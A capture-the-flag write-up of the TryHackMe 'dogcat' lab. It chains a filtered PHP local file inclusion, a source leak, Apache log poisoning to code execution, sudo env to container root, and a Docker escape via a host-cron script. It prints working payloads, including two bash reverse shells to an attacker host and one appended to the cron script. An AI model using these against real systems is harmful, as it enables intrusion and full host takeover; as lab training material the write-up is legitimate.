dogcat

3 min read
writeup by sinchallenge by TryHackMe TryHackMeMediumsolved in ~2 h

Chain: an ?view= include filtered to “cat”/“dog” → PHP filter leak of the source → ext= trick to read arbitrary files → Apache log poisoning to RCE → sudo env to root in the container → Docker escape via a writable backup script on a host cron. Four flags.

Recon

1nmap -p- --min-rate 5000 -T4 TARGET   # only 22 and 80

Gobuster finds nothing useful, but the front page screams LFI: ?view=cat.

LFI, filtered

The include only runs if the value contains dog or cat. Leak the source through a PHP filter, keeping cat/ in the path to satisfy the filter:

?view=php://filter/convert.base64-encode/resource=cat/../index

Decoding the base64 gives the page source:

1$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';   // ext defaults to .php
2...
3include $_GET['view'] . $ext;                          // suffix is attacker-controlled

So view is prefixed with cat/ (to pass the filter) and suffixed with ext, which defaults to .php but I can set empty. That reads any file:

?view=cat/../../../../../etc/passwd&ext=
  • cat/ → passes the dog/cat check
  • ../../../../../etc/passwd → the traversal
  • &ext= → kills the forced .php suffix

Flag 1

?view=php://filter/convert.base64-encode/resource=cat/../flag

Base64-decode → THM{...}. Without the filter wrapper this fails: ext= won’t let the file end in anything but .php, and even included it would just assign a variable and echo nothing.

LFI to RCE — log poisoning

Flag 2 needs code execution. include() executes what it reads, and the Apache access log is a file I can write to (via the User-Agent, or here the request itself):

?view=cat/../../../../../var/log/apache2/access.log&ext=

That dumps a wall of logs — confirming I can both read and influence the log. Poison it, then include it so my command runs as www-data:

1curl -s "http://TARGET/?view=cat/../../../../../var/log/apache2/access.log&ext=&c=find+/+-name+%27flag*%27+-type+f+2>/dev/null" | grep -i flag
2# /var/www/flag2_QMW7JvaY2LvK.txt
3curl -s "http://TARGET/?view=cat/../../../../../var/log/apache2/access.log&ext=&c=cat+/var/www/flag2_QMW7JvaY2LvK.txt" | grep THM
4# THM{...}

Foothold and flag 3 — www-data to root (container)

1nc -lvnp 4444
1curl -s "http://TARGET/?view=cat/../../../../../var/log/apache2/access.log&ext=&c=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER/4444+0>%261'"   # reverse shell
1sudo -l           # (ALL) NOPASSWD: /usr/bin/env
2env /bin/sh -p    # GTFOBins: env spawns a shell, -p keeps euid -> root

Flag 3 (THM{...}) is in /root.

Flag 4 — Docker escape

find / -name 'flag*' turns up nothing for flag 4, so it’s not on this filesystem:

1ls -la / | grep dockerenv   # .dockerenv -> I'm root inside a container

Look at /opt:

-rwxr--r-- 1 root root      69 Mar 10  2020 backup.sh
-rw-r--r-- 1 root root 2949120 Oct  6 02:18 backup.tar

backup.tar is stamped after the container booted, so a cron on the host keeps re-running backup.sh:

1cat /opt/backups/backup.sh
2# #!/bin/bash
3# tar cf /root/container/backup/backup.tar /root/container

The script is writable, and the cron that runs it lives on the host. Append a reverse shell and wait:

1nc -lvnp 5555   # on the attacker
2echo 'bash -i >& /dev/tcp/ATTACKER/5555 0>&1' >> /opt/backups/backup.sh

~30 seconds later the host cron fires the script and the shell lands as root on the host. Flag 4 (THM{...}) is there.

Lessons

  • A filtered LFI is still an LFI — satisfy the filter (cat/) and use php://filter to read source, which hands you the exact suffix logic to defeat.
  • A readable, writable log file plus include() is RCE: poison the log, include it.
  • .dockerenv means your root is container root. A host cron running a container-writable script is the escape — append and wait.
Thoughts?